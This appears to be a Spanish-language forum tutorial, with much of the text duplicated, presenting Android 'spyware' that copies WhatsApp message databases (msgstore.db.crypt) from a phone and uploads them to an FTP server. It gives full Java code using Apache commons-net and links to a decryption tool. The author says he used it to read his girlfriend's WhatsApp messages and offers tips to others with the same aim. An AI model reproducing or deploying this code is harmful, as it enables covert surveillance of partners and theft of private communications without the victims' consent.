Con esto pretendo hacer mas fácil el trabajo a gente que se vea en mi misma situación o en otra parecida. Quiero aclarar las personas que usen el siguiente codigo lo haran totalmente bajo su responsabilidad.
Pues bien, al turrón:
El Spyware se trata de una pequeña aplicación para android que "coge prestados" los archivos msgstore.db.crypt almacenados en la carpeta del whatsapp/databases.
Posteriormente envía dichos archivos a una servidor FTP, yo he utilizado un servidor público y ha subido toda la base de datos del whatsapp funcionado a la perfección.
Pues bien, tras conseguir dichos archivos tan solo queda utilizar la herramienta escrita en python para descifrar dichos archivos, la cual podemos descargar desde esta misma página.
http://ns2.elhacker.net/Whatsapp_Xtract_V2.1_2012-05-07.zip
1- Para realizar la aplicación lo que haremos será utilizar la librería java commons.net que nos proporcionará los métodos necesarios para establecer un cliente y conectarnos a un servidor ftp.
Para añadir la libreria a nuestro proyecto debemos descargarla de aqui:
http://commons.apache.org/net/download_net.cgi
y posteriormente desde eclipse, click derecho sobre nuestro proyecto, build path y le damos a add external jars, donde añadiremos los .jar de la libreria descargada.
2- Posteriormente crearemos un flujo de entrada desde los archivos que deseamos coger del dispositivo android, en este caso todos los msgstore.db.crypt que hayan en la carpeta whatsapp/databases, y añadirlos a nuestra carpeta en el servidor ftp.
3- Por último tendremos que crear un nuevo hilo de ejecución y instanciar la clase donde tengamos todo lo del punto 1 y 2. Este nuevo hilo de ejecución es necesario para poder realizar este tipo de conexiones en android.
Tan solo tenemos que poner la dirección del servidor, el nombre de usuario, la contraseña y la carpeta con la que queremos trabajar en nuestro servidor.
Para que esto funcione, creamos una aplicacion sencilla en android que por ejemplo tenga un botón, y que al pulsar ese boton se ejecute el código anterior, tal y como está escrito a mi me ha funcionado sin problemas, bueno a parte de los problemas que me está causando el leer los mensajes del whatsapp de mi novia..toda una decepción, y como consejo si alguien quiere utilizarlo con este mismo fin, mucho cuidado porque seguro que veis cosa que desearíais no haber visto!
Bueno retomando el tema y para ir finalizando: el pequeño trozo de código que he utilizado para crear un nuevo hilo de ejecución y instanciar la clase FtpCon. Este código lo he metido dentro del método onClick() que le he asignado a un botón que he puesto en medio de la pantalla, pero podeis ponerlo donde querais, siempre y cuando se vaya a ejecutar, exceptuando en el merodo onCreate().
Bueno espero que esto os sirva de ayuda a todos aquellos que lo necesiteis. Un Saludo!
Pues bien, al turrón:
El Spyware se trata de una pequeña aplicación para android que "coge prestados" los archivos msgstore.db.crypt almacenados en la carpeta del whatsapp/databases.
Posteriormente envía dichos archivos a una servidor FTP, yo he utilizado un servidor público y ha subido toda la base de datos del whatsapp funcionado a la perfección.
Pues bien, tras conseguir dichos archivos tan solo queda utilizar la herramienta escrita en python para descifrar dichos archivos, la cual podemos descargar desde esta misma página.
http://ns2.elhacker.net/Whatsapp_Xtract_V2.1_2012-05-07.zip
1- Para realizar la aplicación lo que haremos será utilizar la librería java commons.net que nos proporcionará los métodos necesarios para establecer un cliente y conectarnos a un servidor ftp.
Para añadir la libreria a nuestro proyecto debemos descargarla de aqui:
http://commons.apache.org/net/download_net.cgi
y posteriormente desde eclipse, click derecho sobre nuestro proyecto, build path y le damos a add external jars, donde añadiremos los .jar de la libreria descargada.
2- Posteriormente crearemos un flujo de entrada desde los archivos que deseamos coger del dispositivo android, en este caso todos los msgstore.db.crypt que hayan en la carpeta whatsapp/databases, y añadirlos a nuestra carpeta en el servidor ftp.
3- Por último tendremos que crear un nuevo hilo de ejecución y instanciar la clase donde tengamos todo lo del punto 1 y 2. Este nuevo hilo de ejecución es necesario para poder realizar este tipo de conexiones en android.
Código (java) [Seleccionar]
import java.io.*;
import java.net.InetAddress;
import java.net.SocketException;
import java.net.URL;
import java.net.URLConnection;
import java.nio.channels.FileChannel;
import org.apache.commons.net.ftp.FTP;
import org.apache.commons.net.ftp.FTPClient;
import android.os.Environment;
import android.util.Log;
public class FtpCon {
public FtpCon() throws SocketException, IOException {
try {
FTPClient mFTPClient = new FTPClient();
mFTPClient.connect("direccion del servidor", 21);
mFTPClient.login("nombreUsuario","contraseña");
mFTPClient.enterLocalPassiveMode();
mFTPClient.changeWorkingDirectory("directorio ftp para trabajar");
mFTPClient.setFileType(FTPClient.BINARY_FILE_TYPE);// este metodo "setTypeFile(BINARY_FILE_TYPE)" es muy importante para que el archivo se envie correctamente
Log.d("Working Directory", mFTPClient.printWorkingDirectory());
String estado = Environment.getExternalStorageState();
if (!estado.equals(Environment.MEDIA_MOUNTED)) {
Log.d("Error", "No hay almacenamiento externo montado");
} else {
File externalDir = Environment.getExternalStorageDirectory();
File ruta = new File(externalDir.getAbsolutePath()+File.separator+"WhatsApp"+File.separator+"Databases");
String [] filenames = ruta.list();
if (filenames != null) {
for (int i = 0; i< filenames.length; i++) {
try {
InputStream is = new FileInputStream(ruta+File.separator+filenames[i]);
mFTPClient.storeFile("msgstore.db.crypt"+i, is);
} catch (IOException e) {
Log.d("Error", "Se ha producido un error! "+e.getMessage());
}
}
}
mFTPClient.logout();
Log.d("OK", "Enviado con exito");
} catch (IOException e) {
Log.d(":(", e.getMessage());
}
}
}
Tan solo tenemos que poner la dirección del servidor, el nombre de usuario, la contraseña y la carpeta con la que queremos trabajar en nuestro servidor.
Para que esto funcione, creamos una aplicacion sencilla en android que por ejemplo tenga un botón, y que al pulsar ese boton se ejecute el código anterior, tal y como está escrito a mi me ha funcionado sin problemas, bueno a parte de los problemas que me está causando el leer los mensajes del whatsapp de mi novia..toda una decepción, y como consejo si alguien quiere utilizarlo con este mismo fin, mucho cuidado porque seguro que veis cosa que desearíais no haber visto!
Bueno retomando el tema y para ir finalizando: el pequeño trozo de código que he utilizado para crear un nuevo hilo de ejecución y instanciar la clase FtpCon. Este código lo he metido dentro del método onClick() que le he asignado a un botón que he puesto en medio de la pantalla, pero podeis ponerlo donde querais, siempre y cuando se vaya a ejecutar, exceptuando en el merodo onCreate().
Código (java) [Seleccionar]
new Thread(new Runnable() {
public void run() {
try {
FtpCon con = new FtpCon();
} catch (SocketException e) {
// TODO Auto-generated catch block
e.printStackTrace();
} catch (IOException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
}
}).start();
Bueno espero que esto os sirva de ayuda a todos aquellos que lo necesiteis. Un Saludo!